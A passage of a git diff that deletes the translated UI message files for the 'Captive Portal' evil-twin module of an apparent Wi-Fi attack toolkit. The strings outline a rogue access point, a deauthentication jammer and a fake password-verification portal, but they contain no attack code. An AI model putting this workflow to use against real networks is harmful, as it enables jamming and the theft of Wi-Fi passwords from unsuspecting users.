Portal/language/en.sh deleted file mode 100755 index 0b6723e..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/en.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Creates an "evil twin" access point. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Select a password verification method" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/es.sh b/fluxion_origins/attacks/Captive Portal/language/es.sh deleted file mode 100755 index 55254f3..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/es.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Portal Cautivo -# description: Crea un punto de acceso "gemelo malvado". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="MÉTODO PARA VERIFICAR CONTRASEÑA" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/fr.sh b/fluxion_origins/attacks/Captive Portal/language/fr.sh deleted file mode 100755 index d90fb99..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/fr.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Portail Captif -# description: Crée un point d'accès «jumeau malveillant». - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Incapable de lancer une interface de portail captif$CClr, retour arrière !" -CaptivePortalStaringAPServiceNotice=" Lancement du service de point d'accès du portail captif..." -CaptivePortalStaringAPRoutesNotice="Lancement des routes du portail captif de point d'accès..." -CaptivePortalStartingDHCPServiceNotice="Lancement du service DHCP de point d'accès comme daemon..." -CaptivePortalStartingDNSServiceNotice="Lancement du service DNS de point d'accès comme daemon..." -CaptivePortalStartingWebServiceNotice="Lancement du portail captif de point d'accès comme daemon..." -CaptivePortalStartingJammerServiceNotice="Lancement de l'interrupteur de point d'accès comme daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Lancement du script d'authentification..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="METHODE DE VÉRIFICATION DU MOT DE PASSE" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Sélectionnez le certificat SSL source pour le portail captif." -CaptivePortalCertificateSourceGenerateOption="Créer un certificat SSL" -CaptivePortalCertificateSourceRescanOption="Détecter le certificat SSL (${CClr}chercher encore$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Sélectionnez une interface de portail captif pour le réseau parasite." -CaptivePortalGenericInterfaceOption="Portail générique" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/it.sh b/fluxion_origins/attacks/Captive Portal/language/it.sh deleted file mode 100755 index dbc98ab..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/it.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Crea un punto di accesso "gemello cattivo". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Impossibile avviare il portale interface$CClr, ritorno!" -CaptivePortalStaringAPServiceNotice="Avvio del servizio del Portale di Cattura..." -CaptivePortalStaringAPRoutesNotice="Avvio access point del Portale di Cattura..." -CaptivePortalStartingDHCPServiceNotice="Avvio del servizio DHCP..." -CaptivePortalStartingDNSServiceNotice="Avvio del servizio DNS..." -CaptivePortalStartingWebServiceNotice="Avvio del servizio del Portale WEB..." -CaptivePortalStartingJammerServiceNotice="Avvio del servizio di JAMMING..." -CaptivePortalStartingAuthenticatorServiceNotice="Avvio Script di Autenticazione..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="MODALITA' DI VERIFICA DELLA PASSWORD" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Seleziona il certificato SSL." -CaptivePortalCertificateSourceGenerateOption="Crea il certificato SSL" -CaptivePortalCertificateSourceRescanOption="Identifica il certificato SSL (${CClr}cerca ancora$CGry)" -CaptivePortalCertificateSourceDisabledOption="Nessuno (${CYel}disabilita SSL$CGry)" -CaptivePortalUIQuery="Seleziona l'intefaccia del Portale di Cattura." -CaptivePortalGenericInterfaceOption="Portale Generico" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Seleziona una conettività internet per il punto di accesso cattivo." -CaptivePortalConnectivityDisconnectedOption="disconnesso (${CGrn}raccomandato$CClr)" -CaptivePortalConnectivityEmulatedOption="emulato" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/pl.sh b/fluxion_origins/attacks/Captive Portal/language/pl.sh deleted file mode 100755 index 0b6723e..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/pl.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Creates an "evil twin" access point. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Select a password verification method" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/pt-br.sh b/fluxion_origins/attacks/Captive Portal/language/pt-br.sh deleted file mode 100755 index 0b6723e..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/pt-br.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Creates an "evil twin" access point. - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Select a password verification method" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/ro.sh b/fluxion_origins/attacks/Captive Portal/language/ro.sh deleted file mode 100755 index e59e6e0..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/ro.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captiv Portal -# description: Creează un punct de acces "gemeni rău". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="METODA PENTRU VERIFICAREA PAROLEI" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/ru.sh b/fluxion_origins/attacks/Captive Portal/language/ru.sh deleted file mode 100755 index ebe90cb..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/ru.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Создаёт точку доступа "Злой Двойник". - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Выберите интерфейс для глушения." -CaptivePortalAccessPointInterfaceQuery="Выберите интерфейс для точки доступа." -CaptivePortalCannotStartInterfaceError="${CRed}Не получается запустить перехватывающий портал interface$CClr, возврат!" -CaptivePortalStaringAPServiceNotice="Запуск службы точки доступа с Перехватывающим Порталом..." -CaptivePortalStaringAPRoutesNotice="Запуск маршрутизации точки доступа с Перехватывающим Порталом..." -CaptivePortalStartingDHCPServiceNotice="Запуск службы DHCP точки доступа в качестве демона..." -CaptivePortalStartingDNSServiceNotice="Запуск службы DNS точки доступа в качестве демона..." -CaptivePortalStartingWebServiceNotice="Запуск точки доступа с Перехватывающим Порталом в качестве демона..." -CaptivePortalStartingJammerServiceNotice="Запуск глушителя точки доступа в качестве демона..." -CaptivePortalStartingAuthenticatorServiceNotice="Запуск скрипта аутентификации..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Выберите службу точки доступа" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}рекомендуется$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}медленная$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Выбор метода верификации пароля" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Выбор источника SSL сертификата для перехватывающего портала." -CaptivePortalCertificateSourceGenerateOption="Создание SSL сертификата" -CaptivePortalCertificateSourceRescanOption="Поиск SSL сертификата (${CClr}искать снова$CGry)" -CaptivePortalCertificateSourceDisabledOption="Нет (${CYel} SSL отключено$CGry)" -CaptivePortalUIQuery="Выберите интерфейс перехватывающего портала для мошеннической сети." -CaptivePortalGenericInterfaceOption="Обычный Портал" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Выберите тип Интернет-соединения для мошеннической сети." -CaptivePortalConnectivityDisconnectedOption="отключено (${CGrn}рекомендуется$CClr)" -CaptivePortalConnectivityEmulatedOption="эмулирован" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/sk.sh b/fluxion_origins/attacks/Captive Portal/language/sk.sh deleted file mode 100644 index 4c9cd8b..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/sk.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Captive Portal -# description: Vytvorí prístupový bod "zlé dvojča" - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Nepodarilo sa spustiť adaptér 'Captive Portal' $CClr, vraciam sa!" -CaptivePortalStaringAPServiceNotice="Spúšťam službu 'Captive Portal' prístupového bodu..." -CaptivePortalStaringAPRoutesNotice="Spúšťam smerovanie 'Captive Portal' prístupového bodu..." -CaptivePortalStartingDHCPServiceNotice="Spúšťam službu DHCP prístupového bodu ako 'daemon'..." -CaptivePortalStartingDNSServiceNotice="Spúšťam službu DNS prístupového bodu ako 'daemon'..." -CaptivePortalStartingWebServiceNotice="Spúšťam 'Captive Portal' prístupového bodu ako 'daemon'..." -CaptivePortalStartingJammerServiceNotice="Spúšťam blokovanie prístupového bodu ako 'daemon'..." -CaptivePortalStartingAuthenticatorServiceNotice="Spúšťam autentifikačný skript..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="Vyberte spôsob overenia hesla" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Vyberte SSL certifikát pre 'Captive Portal'." -CaptivePortalCertificateSourceGenerateOption="Vytvoriť SSL certifikát." -CaptivePortalCertificateSourceRescanOption="Detekovať SSL certifikát (${CClr}hľadať znovu$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Vyberte 'Captive Portal' adaptér pre falošnú sieť (rogue network)." -CaptivePortalGenericInterfaceOption="Všeobecný Portál (generic portal)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." -CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" -CaptivePortalConnectivityEmulatedOption="emulated" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/attacks/Captive Portal/language/sl.sh b/fluxion_origins/attacks/Captive Portal/language/sl.sh deleted file mode 100755 index 2ad2a30..0000000 --- a/fluxion_origins/attacks/Captive Portal/language/sl.sh +++ /dev/null @@ -1,35 +0,0 @@ -#!/usr/bin/env bash -# identifier: Zaprti Portal -# description: Creates an "evil twin" access point. (translation?) - -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalJammerInterfaceQuery="Select an interface for jamming." -CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." -CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" -CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." -CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." -CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." -CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." -CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." -CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." -CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalAPServiceQuery="Select an access point service" -CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" -CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalVerificationMethodQuery="METODA PREVERITVE GESLA" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." -CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" -CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" -CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" -CaptivePortalUIQuery="Select a captive portal interface for the rogue network." -CaptivePortalGenericInterfaceOption="Generic Portal" -# 